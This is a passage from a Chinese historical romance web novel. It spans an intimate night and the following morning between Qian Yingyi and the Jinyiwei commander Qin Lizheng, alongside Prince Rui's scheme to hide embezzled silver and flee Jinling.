钱映仪握着那寝衣,只觉这会子连脸都有些红。 俄延半晌,秦离铮打好热水,立在门外屈指轻叩,惊醒了正发怔的钱映仪。 她立时拿着寝衣往外走,没几时又命他在前头引路,转了几步,方发现洗漱的浴房就在隔壁。她迈过门槛,见屋子里已点好灯,便回身掩门,由门缝里露出眼睛里的眼波婉转,“你也去洗。” 秦离铮点点下颌,交代她皂膏与帕子都搁在哪里,旋即转背离去。 钱映仪心扑通直跳,在发现浴桶与一应用具都十分干净时,心头又是一暖。她晓得,这宅子他其实没怎么住,细细的尘埃早就变作了浑厚的灰,这时候什么东西都是干净的,是因晓得她爱洁净。 由热水洇润自己的两帘睫毛半晌,钱映仪便起身穿衣,嗅一嗅自己身上那股薄荷香,便把目光在那皂膏上停留一瞬。她就说他身上那股薄荷味打哪儿来的呢,原来是皂膏里掺了薄荷。 很奇怪,穿着这寝衣像是被他整个人给蒙头罩住了。 钱映仪静静在原地站了片刻,便拉开门探出半张脸,见他在外头守着,额上的发丝还洇润着,不防给吓一跳,“你这样快!” 秦离铮的目光在她身上游移片刻,牵起她的手往寝屋走,“我做什么快,什么不快,你不是都知道吗?” “哎呀,你现在不许说这些。” 钱映仪羞得腮畔渐染红晕,由他牵到榻边,继而看他展开双臂,她只踟蹰片刻,就绽开个笑,搂着他往被衾里倒。 她陷在帐子里翻了个身,下意识阖上眼,静等片刻,却没听见什么动静。撩着眼皮一窥,登时气不打一处来,拿脚踹他小腿,“你做什么!” 秦离铮支着身子倒在她身畔,黑漆漆的眼底装着她,“不是说一起睡?” 钱映仪气得小脸通黄,干脆扭头翻了个身,手往枕下一摸,就摸出本册子。定睛一瞧,竟是她写过的话本子,还是前两年卖过,如今没得卖的! 她一时又自眼梢里泄出两分得意,翻身趴在被衾上,当着秦离铮的面把那话本子翻一翻,倏道:“我与你说个秘密,你要不要听?” 秦离铮把脸凑近些,温热的呼吸吐在她的耳畔,“说来我听。” 钱映仪霎时来了劲,爬起来歪坐着,把话本子阖上,悬在脸前,只露出一双清透晶莹的眼睛,神秘兮兮道:“其实我就是金陵小红豆。” 一猜她就是要说这个。秦离铮见她十分得意,不好说自己其实早就知道,因此微微把眼睛睁大,稍显狐疑,“真的?” 钱映仪笑嘻嘻爬下床,往头先那间浴房去,不一时,人影像只蝴蝶踅回来,捧着个小巧的垂耳兔印章给他瞧,又拿起那本话本子,一指署名下的印章,“你看,我几时说过大话,真是我。” 秦离铮捡过那话本子,作势翻了翻,又掐起她的下颌,眼睛盯着她,左右来回瞧,半晌,扯出个放肆的笑,“你还有这层身份呢?” “你不知道的多着呢,”钱映仪十分得意,揽着他往被衾上趴着,翻开话本子,指一指第一页的内容,“这里写了水鬼,但我觉得写得不好,是以今年年关时我又重写了一个,便是那《滩水鬼记》。” “哎呀,这感觉好新奇,你快同我一起欣赏欣赏。” 秦离铮只好由她拽倒,其实她写的这些,里头的细节他都能背了,抵不过她此刻十分得意、高兴,他若老实交代了,岂非扫兴? 钱映仪起初兴致高昂,一连迭翻看了好几页,可大约是身旁的呼吸有些重,她不太能静下心来,渐渐地,指尖翻页的动作便慢了。 “怎么停了?” 钱映仪窃窃咬唇,干脆把话本子阖上,复又爬起来,盯着他瞧,“你为何还不亲我?” 秦离铮自喉间牵出一缕叹息,也跟着端坐在她面前,两条胳膊搭在膝前,认真道:“我说,我怕吓着你,你会信吗?” 钱映仪心一跳,垂在两旁的指尖攫紧被衾,眼睛却轻轻阖上了,声音很轻,“我信。” 其实她没完全闭上眼,隐隐感觉他在靠近自己,她复又睁开眼睛,忙道:“太亮了!” 秦离铮叹笑,随手一记掌风落下,满室霎时只剩一火如豆。 他的吻先轻柔细致地落在她的额心,慢慢地,往下延绵,轻轻贴着她的唇肉碾磨,呼吸克制得平稳。 直到不知是谁卷湿了唇缝,呼吸渐重,接下来的事便由不得理智操控。温热的舌/头贴近时,钱映仪连喘气都变了调。 帐子里不知何时多了些湿漉漉的水汽,她下意识攫紧他还稍有洇润的发丝,自脊梁骨往上不知何时长出了快乐,要冲透她的骨缝,凿穿出来。 她的眼泪也好像由脊梁骨的感觉牵引出来,失神盯着帐顶时,他沾着水光的唇便一路延绵往上,最后怜惜地卷走了那滴泪。 旋即哑声在她耳畔低语:“不要怕,我不会吓着你。” 钱映仪像艘小船漂浮在海面上,海浪卷来的余韵还未散,她又感觉到了他的指头在牵着她往海底坠。 粘黏着薄汗的后背被抚上一只宽厚的手掌,安抚性的抚摸令钱映仪稍稍放松下来,一股薄荷香席卷过来,她下意识嗅一嗅,正要再喘气,忽然发觉他动了动。 感受着那些水汽,她渐渐要往后退,却无路可退,平静温热的水面倏然探进轻缓温柔的一股温泉,稍稍有些波动,像在克制住掩藏的横冲直撞。 钱映仪觉得奇异,呼吸一窒,还未来得开口,又感受到了一股凉意。 她已有些迷蒙,只能整个人往后跌,口齿含混道:“哈阿铮你的戒指” 秦离铮俯身亲她,指腹抵着戒指转了转,戒指延绵往前的指腹往上轻勾,嗓音温柔,“嗯?戒指凉吗?” 钱映仪脑子里一片空白,仿佛听见了淅淅沥沥的声音,无意识掀眼撞进他幽暗的眼底,只能看见疯涨的慾和爱恋。 钱映仪觉得自己已经同那枚戒指严丝合缝粘在一起,只能紧紧攀着秦离铮,咬牙哼道:“下次下次不许把你的戒指私自给我” “为什么?”秦离铮缠绵悱恻的低语里仿佛杂糅进落寞一叹,“你喜欢的。” 没有回音,钱映仪已然分不出心神来与他讲话,只觉得这屋子里多出来个人,那人同她有一模一样的嗓音,发出些变调的声音,她急着要去捂,又始终找不到。 最后汗涔涔软下去时,连整个人都 迷糊了。 偏巧她轻阖着眼,能隐约瞧见秦离铮在凝视她的脸,正要泼口骂他,又见他牵出个称得上是放浪的笑,当着她的面轻啄了一下泛着水光的手指。 “你”钱映仪眼梢湿润着,微张着嘴,半晌只说出一句,“你好过分。” “累不累?”他低声问。 累吗?钱映仪阖着眼,凝神想了会,一番摇头,“还行吧” “不累就继续。” 一火如豆灭尽,身侧被衾往下塌陷,钱映仪被迫翻了个身,掌心蓦然变得炙热滚烫,他的掌心覆向她的手背,带着一股迅猛的力道抓着他自己。 黑暗中,早已检算不清究竟是谁的力度在引着谁。 他含混浓重的喘息自下传上来,钱映仪尾脊骨的那股酥麻早已转到身前来,风雨席卷而来,她整个人又陷进一片潮热。 他依旧会努力夸赞她,“唔”了一声,牵带出一声闷哼,“好厉害映仪” 再是惊涛骇浪般的爱意,一句接一句的“好爱映仪”砸进她的耳朵里,这时候钱映仪倏然又想起他那句关于“快慢”的调侃,被迫听着他浓重的气息想着,再停下来时,待回过神来,方惊觉连手都在发麻。 这时候外头有烟花绽开,半束光映进靛青色的帐子里,钱映仪被拉进个起伏不定的怀抱里,耳畔不停有低喃,“我一刻也不想再同你分开,我好想你,好想” 秦离铮埋首在她颈侧轻啄,半晌,人顿了顿,钱映仪倏然觉得颈侧淌过一阵温热。 她怔然抬起脸,不可置信,“你在哭?” 秦离铮展开双臂拥着她,“我只是觉得,往后一辈子,是小姐和侍卫也好,秦离铮和钱映仪也罢,我们两个,再也不要分离。” 钱映仪默然片刻,余韵褪去,便也搂上他,“会的,会的,我们会的。” 静呆片刻,待淮河两岸往半空绽开的烟花消灭,秦离铮总算起身,抄起钱映仪两条腿弯,自顾往屏风后走,“洗一洗。” 钱映仪一张俏脸渐染红晕,又回过味儿来,握拳去捶他的肩,“好啊,你什么都准备好了,你早知道我要干什么,就是故意不说,等着我呢!” 秦离铮笑笑,把她搁进还冒着热气的浴桶里,旋即自己跟着进去,不知往哪摸来根发簪绾好她满头发丝,拇指摁上她的唇,“留着些力气,待会再骂我。” 钱映仪狐疑,正要问什么叫待会再骂,目光往下一垂,借以月色见他又抬着头,忙不迭就转过身去。 水声渐起,一双坚/硬的臂膀自后绕来,钱映仪抓着桶缘,这回是真辗转到了水面上。 消停片刻的烟花复又绽响,花好人团圆,整座金陵城响彻欢呼声。 钱映仪在这场盛大的狂欢下,软陷在他一个接一个的吻里,只觉是一场真实又迷幻、带着饱胀思念的迤逦梦境。使她既舍不得醒,又舍不得再往下跌得更深—— 作者有话说:来了! 第47章 翠荷微残,秋海棠却悄然盛开。早秋晨起总是要凉爽一些,秦离铮穿一件黑墨刻丝交领直裰,仿佛要隐进半昏半明的清晨。 他往河岸转了一圈,再归家时,手上便提了个食盒。 轻声推开门,帐子里的人影连身都没翻,仍缩成一团睡在里头。秦离铮轻撩纱帐,手探进被衾往钱映仪小腹上的软肉摸一摸,“待我送你回去,你再好好睡,嗯?” 被衾里“唔”了两声,再没了回音。 秦离铮无声往唇畔凝着一点笑,见她丝毫没有苏醒的意思,干脆掀开被衾捞她起身。 钱映仪渐渐睁开了眼,半倚在炙热的怀抱里,慵着不说话。 俄延半日,她才稍稍醒神,朦胧目色四下打量一圈,先瞧一瞧外头的天色,旋即把秦离铮轻瞪,一个猛子扎回了被衾里,嗓音闷着往外传,“都怪你,我本来早就该睡的!你的良心痛不痛,外头天还没全亮呢!我才睡了多久!” 秦离铮暗暗泄出两声笑,复又把她捞起来,一面跟着认错,“下回我克制些,成不成?” 钱映仪含恨捶了捶他的胳膊,眼眶里浮着一丝倦色,“你阴险狡诈,诡计多端!以后不许再提我凡事都讲究双数的毛病,你不提,我压根没想起来!” “好,我不提了,不提了。”秦离铮含糊应声。 继而他起身往八宝柜里搜捡出一套衣裙,一件星朗色立领琵琶袖上袄,搭着酂白的海棠花刺绣圆领比甲,一条晴山色缎彩绣马面裙。 衣裳搭在臂弯里,秦离铮站在帐子外,露出的半张脸上爬满笑意,稍薄的嘴唇轻轻翕合,无端端添上几分迤逗,“你自己穿,还是我帮你?” 钱映仪把他一瞪,一把夺过衣裙往身上套,慢吞吞系好裙带,暗道这衣裳还真好看。 她未表现出来,顶着他火热的注视去洗漱,待坐到镜前,便刻意小心眼儿地为难他,“昨日是春棠替我绾的发,样式好看,我可绾不出那样的,你会吗?” 秦离铮立即迎上去,抄着她一把厚厚的发丝分股,也故意逗弄她,“嗯我想想,昨日是个什么发髻来着?嘶,太繁杂的我真不会,可我辫子编的好呢。” 钱映仪本意也只是叫他替自己梳头,懒于自己对镜编来编去,闻声便问,“你为何会编辫子?” “哦,从前我爹教我骑马,我时常给马编。” “”钱映仪额心立时拧出个结,不可置信透镜瞪他,“你说什么?!” 秦离铮抖着肩笑出声,似有所感,知道她要回身打自己,忙一把攫紧她的手腕,另一只手顺势覆上她的背,俯身含住她的唇,含糊道:“逗你的。” 气息绞缠,稍显干燥的唇登时变得湿漉漉的,钱映仪气吁吁推开他,脸畔复又惹上一抹微不可见的红。 秦离铮只把嘴挪得远了,手却没动,低眉凝望着她,没忍住又往那软嫩的腮畔亲了下,“待金陵的事办完,我把那些人押解回京师,往皇上面前交代干净,我就折返回金陵接你一道回去。” 转而把她转回去,继续替她编着辫子,“届时,我去与你爹爹赔罪认错,求娶你为妻,早点迎你过门。” 钱映仪眨眨眼,心里虽甜滋滋的,像吃了口熟透的杏,一咬全是甜汁。听他说要先回京师,过后再来接她,又像那杏的余韵卷在心里,微涩微酸,好端端地,便“嘁”了一声,以表不满。 不一时,秦离铮就编好辫子,牵她往桌前坐,把冒着热气的早膳推过去,“吃点。” 正是碗去了馄饨皮的馄饨,眼见他对自己的习惯了如指掌,钱映仪心里那抹酸涩复又尽数褪去,笑嘻嘻舀着肉往嘴里送,细嚼慢咽片刻,想起来件事,便问,“你说,梁途也是因避祸才假死脱身,他到底会不会帮你?” 秦离铮默然想了想,其实也不太能摸准。 钱映仪斜着眼风瞟他,兀自道:“我觉得他也许会帮呢,你瞧他铺子里的墙上,全是溪溪胡乱涂鸦的画作,我虽没做过父母,却深有体会,小时候我也像溪溪这样,我的那些画作,我爹也宝贝得很呢” “他当年虽是假死,如今细细检算起来,与真死过一 回没有多大的区别,你那日也见着了,溪溪失踪,他急得跟什么似的,此番溪溪脱险,他或许会固执己见几日,但若要往长远了想,想让溪溪过得舒坦,最好的法子就是他重新站在光明下。” 钱映仪嘀咕起来头头是道,“所以,我猜他再过几日便会来寻你,你信不信?” 她推敲细节时十分机敏,秦离铮不免心惊,半晌嗓音里喧出一股叹服,半开玩笑道:“倘或你在皇城做女官,最迟一年的时间,皇城里人人都要管你叫钱大人。” 钱映仪却蓦然面露嫌色,“噫,呸呸呸,女官听着威风,我向来是佩服,但真要把我关在皇城里,我做不到,你不许说这个。” 两个对坐半晌,一碗馄饨已然见底。钱映仪昨夜泄去一半的力气,实在疲累,她竟不知没做到最后一步也有那样多的花样,倘或真成了亲,坐实了那档子事天老爷,她还有力气从榻上爬起来吗? 钱映仪不由得偷窥秦离铮几眼,心中好奇,便慢悠悠问了句,“你就没有哪儿不舒服?” 秦离铮正轻呷着热茶,闻言顿一顿,牵出个若有似无的笑,反问,“锦衣卫选拔严谨,我若要有点什么不舒服,小姐,你不得失望透顶?” 钱映仪撇撇唇,眼见他放下杯盏像是要来抱自己,想着方才被他骗走的那个吻,心下一惊,干脆起身走一走,巧妙避开。 来回轻轻踱步,她又问,“昨日听你说起裴骥,我说怎的突然听不见他的动静,你是不是对他做了什么?” 秦离铮盯着她的目光仍有些狼贪虎视,她欲躲,他便陪她玩一玩,慢吞吞起身,一步一步往她身前走,脸色却十分正经,“还记得我们在城外那一次吗?” “那是裴骥花重金寻的江湖人士,他迟迟接近不了你,便想先除去我,那日见你从树上摔下来,我实在生气,回来便断了他两条腿。” 钱映仪见他迎来,又往另一头退,讪笑一声,“难怪说起来,璎娘我也许久没见过了,只听雁雁说她常在外头的门户里走动唱戏,裴骥若是个心机深沉的,璎娘单纯,岂非被他蒙骗?” “嗯旁人如何我管不着,”秦离铮跟着追过去,“这位叫璎娘的戏子,的确如你所说,单纯,也十分容易受人指使,日后你若还想听戏,还是换个戏班子,待一切尘埃落定,你再请她也不迟。” 话音甫落,身影已罩住钱映仪,结束了这场稍显迤逦的追逐游戏。 秦离铮低眉笑望她,虎口轻抬她的下颌,静静地,不说话,只细细端详。片刻才问,“你躲什么?不许我抱?还是不许我亲?” 钱映仪的眼色半蒙半明,轻撩眼皮回望着他,见躲不过,干脆道:“嘴麻了,人也没什么力气,不想抱,不想亲,改日,好不好?” 在她面前,秦离铮向来十分好说话。偏巧在此事上稍显固执,一把握住她的腰往案上放,密密麻麻的吻就落下去,双臂也愈发抱得紧,“不好。” 这一亲昵复又耽搁一阵,钱映仪抬额瞪他,瞳眸外罩着一层湿润,连唇都格外透红,恨声道:“你究竟还想拖到几时才送我回去!” 秦离铮迷恋地往她颈侧啄吻舔舐,嘬出湿漉漉的轻响,口齿黏糊,“再等等,你知道的,我离不开你。” 半暗半明的天色依旧,左邻右舍渐渐点起门外的黄纱灯笼,尚未消隐的月色透着一股冷冽的白,落在黑漆漆的宅子里,如一把弯钩,牵出女孩子的低呼: “嘶!秦离铮!你属狗的不成?” “你要愿意,给你当狗也行。” 片刻钱映仪那把细细的嗓里又变成杂糅进一丝丝的哭腔,“真的不能再亲了,别咬能不能先放开我” “再亲一口。” 直至天光隐有大亮的趋势,寝屋的门方吱呀一声被拉开。 青年取了斗篷罩住女孩子,唇畔噙着一抹笑,兜揽斗篷的虎口有一圈深深的牙印,他却恍然未觉,一径避开人往琵琶巷赶。 直至整个人站在了熟悉的寝屋里,钱映仪方低喘了一口气,把脑袋从斗篷里钻出来,迎头就轻轻给了秦离铮一巴掌,低声控诉道:“你太过分了!” 秦离铮目光落向她益发艳红的唇,倏软一颗心,冷不丁道:“秋日干燥,回头我给你送蜜制的唇脂来,再去睡会,我走了。” 钱映仪下意识抿一抿下唇,小小心思霎时变多,这时候又舍不得他走了。 顿了顿,她的指尖轻掣他的胳膊,眼珠子一转,忽地想到件还颇为严肃正经的事,“你别光顾着收拾燕家蔺家,多注意些瑞王。” 秦离铮晓得她是在担心自己,宽厚的手掌抚着她的脑袋轻轻摩挲,嗓音里透出一股令她安心的意味,“放心,他不敢的。” 如秦离铮所料,瑞王俞成鹤的确不敢。 这秋日的天气时好时坏,淮河两岸开满了秋海棠,迎着太阳盛开几日,又被淅淅沥沥的雨水浇透,远远凝望着,像副艳丽里透着些许凄冷的画。 檐下滴雨,瑞王府的书房里,俞成鹤盘腿坐在榻上,腰后垫着青色的褥垫,半阖着眼,手里盘着串硕大的佛珠,一言不发。 瑞王妃与他对坐,握着泛起清幽香气的杯盏,半晌才道:“王爷在想什么?” 俞成鹤闷想半日,听着外头细细蒙蒙的雨声,扭过半边身子,望向瑞王妃的目色游移不定,“这秦离铮是秦离然的胞弟,这么多年过去,我一直未能找到灭口的机会” “先皇还在时,为着做戏做全套,头先几年我没把手伸去京师,只老实在金陵当个藩王,好叫先皇觉得我真没有谋逆之心,怎知我再要动手时,那龙椅上换了人坐,一切推翻重来,我这藩王益发不好再动手。” “秦家那一对夫妻也不好接近如今整个金陵的官场都在暗暗揣测皇上的打算,你说,秦离铮来金陵到底是做什么?” 他的问题一个接一个往外抛,“我同他打过两次照面,倘或他想替他兄长报仇,又因何不动手呢?” 瑞王妃不当回事,乐呵呵剥开一个橘子,一面撕扯橘肉上的橘络,一面道:“这事儿都过去多久了?王爷手持太祖皇帝亲赐的丹书铁券,连先皇都没能把王爷如何,王爷如今不还是在金陵待得好好的?” “如今的皇上对王爷也向来客气,年关时不还使传话太监来过一趟,赏了王爷好些节礼,这证明什么?” “当日谋反的是恒王那蠢物,王爷不过是被牵连,王爷不也婉拒了皇上邀你去京师的提议?你好好的,皇上不起疑心,一切就安安稳稳的。” “至于那秦离铮,他想报仇,没有证人,没有半点证据,空口白牙污蔑你当年真存了要造反的心,谁信呢?咱们这些年在金陵时常体恤百姓,样子功夫做得够足,便是传到外头去,也没哪个会信。” “即便他是锦衣卫指挥使,有权先斩后奏,那也得有个名头,当年的谋士死得一干二净,所有于王爷不利的证据都消灭了,我不知王爷在怕什么。” “嗐,我不是怕他,”俞成鹤摇摇脑袋,着重咬了咬这个“怕”字,神态端正起来,“前几年我就晓得他做了指挥,只是碍着手伸不了那么远,关于他的信息我只知一星半点,本想着日后寻个最合适的时机除了他,再慢慢耗死他一双父母,这事就算彻底翻篇了” “怎知同他打过照面,才晓得他就在金陵,心里难免有点忐忑。” 他道:“我也知晓有丹书铁券在手,他奈何不了我,只是做人做事,叫人拿住把柄,到了夜里总是有几分难以入睡的,我也得未雨绸缪一番,只怕他暗自谋算着要夺了我的性命。” “我在明,他在暗,他晓得我当年是真要谋反,我却不能把此事在明面上撕开,已是受限于人了。” “他岂敢?”瑞王妃不赞同。 “他敢不敢的,先另说吧,儿子呢?”俞成鹤倏然话锋一转,瞳眸上浮着一层算计,“他昨日便从府学回来,我怎的没见他有什么动静?他喜欢那女孩子叫郭月是不是?郭月” 俞成鹤仔细想了想,“其父是近日刚调任去右军都督府当百户的郭淇?” 瑞王妃捻着橘络揉捏,眼风里露出一丝不屑,“这还是托了咱们家的福呢,这郭淇先前在司狱司混日子,也才不过是个从九品的司狱,咱们儿子只要休假,便日日跟在人姑娘裙边打转,也不晓得喜欢她什么。” “吏部的温涧舟不是被流放了?说到底也是因他身后没个庇护,否则何至于此?” “与他同为吏部侍郎的李大人却聪明得多,也想攀着咱们家呢。” 渐渐地,瑞王妃的声音大了些,说起话来满头珠钗乱晃,“正好赶上金陵一班末流官员要调动,眼瞧着咱们儿子紧追着人家姑娘不放,一日在外头撞上,李大人便卖了儿子一个面子。” “哼,把个郭淇硬生生调任为六品百户,往京师递的折子里说尽了这郭淇的好话,这不,过了京师吏部那一关,皇上就批了。” 瑞王妃愈说愈忿然,把手上橘子一扔,抱起胳膊便斜眼睨着俞成鹤,“当真是沾了咱们家好大个光!” “这话我也就在你跟前说,郭月这姑娘心思不单纯,她瞧着也没有多喜欢咱们儿子,无非出身低些, 想嫁进王府一朝冲上天去,我是没准备将她迎进门的,倘或你觉得儿子喜欢,就随他去了,我届时是要同你闹的。” 俞成鹤默然半晌,慢吞吞捡起那橘子,摘下一瓣送进口里,一咬汁水四溅,稍有些酸涩。 使他额心轻皱,眼神却清明不少,“谈婚论嫁什么的,讲究一个你情我愿,你也别把眼睛长天上去,咱们儿子那吊儿郎当的模样,一张嘴便要得罪人,你去外头打听打听,哪个门户里的太太老爷愿意把姑娘嫁给儿子?” “也是咱俩平日太惯着他,”俞成鹤咀嚼着橘肉,没几时咽下去,语气里透着一股意味深长,“他喜欢郭月,便叫他请郭月时不时往咱们家来耍一耍” “郭淇任着百户一职,不出意外,朝阳门、北安门都是他管,我方才不是说未雨绸缪?” “你可别忘了,”俞成鹤仿佛是不经意想起来,便提醒道:“魏明这几日刚到应天府,一来便打开应天府的府库盘查银子,此举虽是上任流程,在这时候却显得有些不寻常。” “温涧舟被流放,燕榆被卸任,蔺边鸿那头的庇护伞倒台,说里头没有猫腻,你信吗?” 外头雨势渐大,一丝凉意透过窗隙吹进来,俞成鹤索性白日里点起银釭,由火苗在他眼中烧着,“即使秦离铮暂时找不着证据对付我,咱们跟着燕蔺两家吃了不少银子在肚子里,倘若是皇上指派他来金陵查贪墨,届时这顶帽子扣下,单凭这个,你觉得我又能逃得了?” “蔺边鸿这几日急得像热锅上的蚂蚁,生怕一个不小心就下了狱,急乱投医寻到王府来,被我给打发走了,”俞成鹤把手搁在火苗上搓一搓,嗤笑道:“有胆子做,却不想着退路,我没他们那般蠢。” “就同这郭家在明面上把关系相处得融洽点,”他道:“如今没事,自然是万事大吉,可若真到了山穷水尽的那一步” “燕蔺两家这些年贪墨时,手脚不是做得尤其干净?只要把贪银藏好,对方拿不出证据,也没道理擒我,再加上守城门的是自己人,咱们带着儿子悄无声息出城避祸,命守住了,留得青山在,不愁没柴烧。” “哼,当年我能把事推去秦离然身上,今番我也再想法子摘干净。” 说起贪墨,瑞王妃的底气没先前那般足。 一来当年谋逆之事没了证人证物,她全然不再当回事,可贪墨却是近年跟着在办的事,查出贪墨,皇上追责起来,他们身为皇亲国戚,最坏逃不过一死,最好也是削藩贬谪。 左思右想,无论哪样结局都算不得好。 因此瑞王妃也跟着把下颌轻点,不提对那郭月的挑剔,接过先前的话音搭腔道:“儿子一早出去了,说是买些女孩子喜欢的首饰,那郭月要过生辰呢,不得给人家一个惊喜?” “算算时间,这时候该回来了,你有哪样要紧事找他?” 俞成鹤半阖着眼,未再答话。夫妻两个静坐片刻,怪哉,屋外脚步声渐响,风风火火的,一猜便是那俞敏森。 果不其然,俞敏森在书房外停步,挥一挥肩头的雨珠,一把推开书房的门,蒙头就喊,“爹,娘,儿子有要紧事!” 俞成鹤还道他为着郭月的事絮絮叨叨,掀眼觑着他,正要搭腔,不防目光落向纱窗后,见立着个人影,眼神登时狠厉,“你带了什么人回来?” 俞敏森往后招招手,那人便慢吞吞行至书房外,肩头浮着一片湿润,面如冠玉,俊朗之姿,正是双腿已好全的裴骥。 “小人见过王爷、王妃。”他垂着视线,在雨幕前把腰身弯折。 很是奇怪,俞敏森怎地认识这裴骥呢?这还要往前数一个月说起,两人凑巧都断了腿骨,凑巧又在同一个医馆拿药,一来二去便能说上几句话。 裴骥接近不了钱家,如今眼见燕蔺两家渐渐失势,便打上了瑞王府的主意。 这俞敏森呆笨如猪,三言两语便可诓骗住,由着他带进王府,自然也不是什么难事了。 这厢俞成鹤蹙着眉,方要启唇训斥俞敏森随意把陌生人往家里带,尤其是书房,裴骥却一开口就把他的话给掐断了,“王爷,您身份尊贵,或许不认得小人,小人姓裴,单名一个骥,淮安人,同递运所王大人的一房妾室乃表亲。” 这么一说,俞成鹤便琢磨出味儿来了,也记起他是谁了。便把膝盖一支,胳膊搭上去,目色冷淡,“哦?你来寻本王做什么?” 燕蔺两家相继出事,若真有点什么,王弋也难逃干系,何况这区区商户。俞成鹤如今只想把自己先撇干净,自然没有好脸。 “小人来替王爷分忧,小人手中有一本账册。” “你说什么?”俞成鹤稍有惊愕,渐渐端正了坐姿,打量他两眼,便道:“你进来说话。” 裴骥笑着应声,进门也不落座,只兀自掏出那账册递上,道:“此乃燕家、蔺家、王家这几年贪墨的证据,由王弋醉后亲口说出,底下还有王弋的指印。” 他遮蔽住眼底的谋算,“不瞒王爷,若非明哲保身,小人绝不会做出此事,如今金陵官场动荡不已,连应天府的一把手都换了人,足以证明小人此举并没做错。” “小人思来想去,在整个金陵城,您的身份最为高贵,小人便欲向您投诚,只求您来日对小人稍稍庇护一些。” 裴骥信誓旦旦道:“有此账册在手,王爷便能以作要挟,彻底同他们撇清关系,只要他们还想留着自己一条命,拒不认罪,就不敢把您给供出来。” 俞成鹤的确十分心动,翻着这账册看了半日,愈看愈心惊,暗道裴骥此人心思阴险,正往后翻,倏然嗅到一股浓重的墨水香。 俞成鹤出身天家,幼时受天家教导,平日格外喜爱吟诗作对,笔墨上的功夫在金陵位列前几名,他拧眉往账册上轻嗅,倏问,“你几时造的册?” “王爷这是何意?”裴骥心里咯噔两声,细细想了想,忙道:“这账册是小人去年” “哼,我瞧你说起话来头头是道,也是个聪明人,怎的没发现?”俞成鹤把账册一扔,陡地打断了他,“倘或是去年造册,墨汁里的那股气味早已淡去,何至于这么重?你这账册早被人掉包了!” 原本俞成鹤是压了压心神,只欲不动声色把自己摘干净。 谁知此番知晓有账册的存在,且这账册还被掉包,他心底那抹掩藏的恐慌复又冒出来,一双眼珠子左右游移片刻,倏然抓起手边银釭往地上砸,泼口向俞敏森斥道:“把人领出去!” 待神色发蒙的裴骥同俞敏森出去后,俞成鹤扭头望向瑞王妃 ,语气笃定,“我竟不知有这样一本账册,一定是秦离铮的手笔,我能断言,他此番来金陵定是为了查贪墨。” “不必再猜来猜去,皇上对金陵贪墨的官员起了杀心。” “我若被擒,难逃一劫!” 瑞王妃亦是心惊胆颤,这回是真有些怕了,慌神起来说话上句不接下句,“这可如何是好?知晓你参与其中的除了燕家、蔺家、王家便没了,对对对,还有方才那个裴骥,要不要杀了他灭口?” 俞成鹤登时踩鞋下榻,闷头便往外走,未行至门口,却又打转回来,深深吸了口气,顺势往椅上坐,“别慌神,别慌神,叫我仔细想想仔细想想” 他静坐在椅上,姿态不如先前懒散,事关性命,神情益发谨慎起来。 俄延半日,他方压低了声音,起身凑近瑞王妃道:“照着先前的安排,让儿子请郭月来家里玩,同郭淇打好关系,这几日就把银子都暗中转移” “咱们家养了暗卫,锦衣卫不好暗自盯上咱们,这会子是松散的,”俞成鹤眼底蕴着一抹决绝,“待银子往外运完,咱们就借着暗卫们的掩护走郭淇那儿出城。” “秦离铮既要查贪官,便不敢离开金陵太远,也不会拨太多人来追咱们,有暗卫在,咱们尽可往外逃,届时走水路绕一圈,直接往京师去,反过来状告燕蔺二人贪墨,先打他们个措手不及,再把自己摘得干干净净!” “至于那裴骥,他的账册被掉包,自然也是被秦离铮盯上的,用不着咱们多此一举出手灭口,凭白惹了麻烦在身上倒不是件好事。” 瑞王妃定了定神,抱起胳膊挨紧他,“晓得了,晓得了。” 风声与雨声交杂在一起,这对夫妻的谋算被半空一声炸雷蓦然掩盖得干干净净,暴风雨欲来,一切定数是否有变,此刻又如何晓得呢? 且说这裴骥也是一头蒙,待稍显狼狈出了王府,便彻底沉下一张脸,暗骂秦离铮无耻至极! 他是个商户,即便被揭发与官共贪物资之事,受罚也远远没有为官者重,因此得知账册被掉包,怒意早已盖过惊惧。 左思右想,始终咽不下一口气,如今是新仇旧怨交织在一起,裴骥一路撑伞前行,不知不觉行至淮河两岸。 闻听隐有戏腔传出,脑子里浮起一张温婉俏丽的脸,想及璎娘同钱映仪关系尚且融洽,裴骥蓦然扯出一抹鬼气森森的笑,“好个锦衣卫指挥使,一再坏我好事,我裴骥发誓” 他恨得咬牙,“不会让你好过的。” 这头几幅心肠的弯弯绕绕暂且不论。 这场雨落过两夜便停了,这日暮色渐笼群山,金陵城的半空铺着红绸子一般的晚霞,绚丽得紧。 秦离铮翻进云滕阁时,钱映仪正埋首在案上描描写写,他轻步凑去她背后,歪着脑袋一瞧,不防笑出声来,“接天莲叶无穷碧,秦离铮惹我生气,有人独倚晚妆楼,秦离铮吃我两拳头?你在写诗骂我?” 钱映仪被他唬一跳,下意识飞快抬起胳膊阖紧窗,旋着裙摆回身一瞪,不由地一怔,半晌没挪开眼。 青年像是刚办完公务,穿一件交领右衽大红直身袍,领缀白色窄护领,衣身开叉并有双摆,胸前缀飞鱼方补,腰坠腰牌,并一把绣春刀,脚上踩着干干净净的皂皮靴。 睫如鸦羽,眸似点漆,鼻挺唇薄。硬朗的眉骨微微往上挑,神色懒洋洋的。 叫钱映仪一时脱口而出,“你好俊啊” 秦离铮一搂她的腰身,低眉凝视她,“嗯?我做了什么错事,惹了你不高兴,还要吃你两拳头,说来我听。” 眼见他俯身低头,钱映仪忙横手去挡,没好气把他一推,低声道:“你还好意思说!我问你,你派两个锦衣卫守着我,算什么事?” 秦离铮暗猜就是这事,他自喉间牵出一缕叹息,又贴近她,“我不在你身边,小玳瑁稍有些粗心,我不就得派两个人护着你的安危?” 钱映仪哪管这些,只觉自己被盯着不大舒服,见他不松口,狡黠的瞳眸转了转,霎时就往他身上跳,掬着他的脸,“啵”的亲了下,“撤走,你把他们撤走,好不好?我不喜欢!” 她的嘴唇泛着温热,秦离铮很是受用,理智却占据上方,搂紧她的腿弯,沉吟道:“嗯我想想,夜里有我在就算了,白日你在家中,他们便不出现,但倘或你要出门,他们还是得远远跟着。” 钱映仪闻听这招没用,小脸一板又从他身上爬下来,气得扭头不去瞧他,“不。” 余光瞥见他俯身过来,心里暗自琢磨一下,便挤出两滴眼泪,细细啜泣道:“你还说不再惹我生气,你走,我不想看见你。” 话音甫落,她自袖管子里抽出一条帕子,当真揩拭起泪来。 “别的要求,我都能答应你,唯独这一点,”秦离铮动作一顿,盯着她耳畔晃动的耳坠看着,片刻才接着往下说,“不行。” 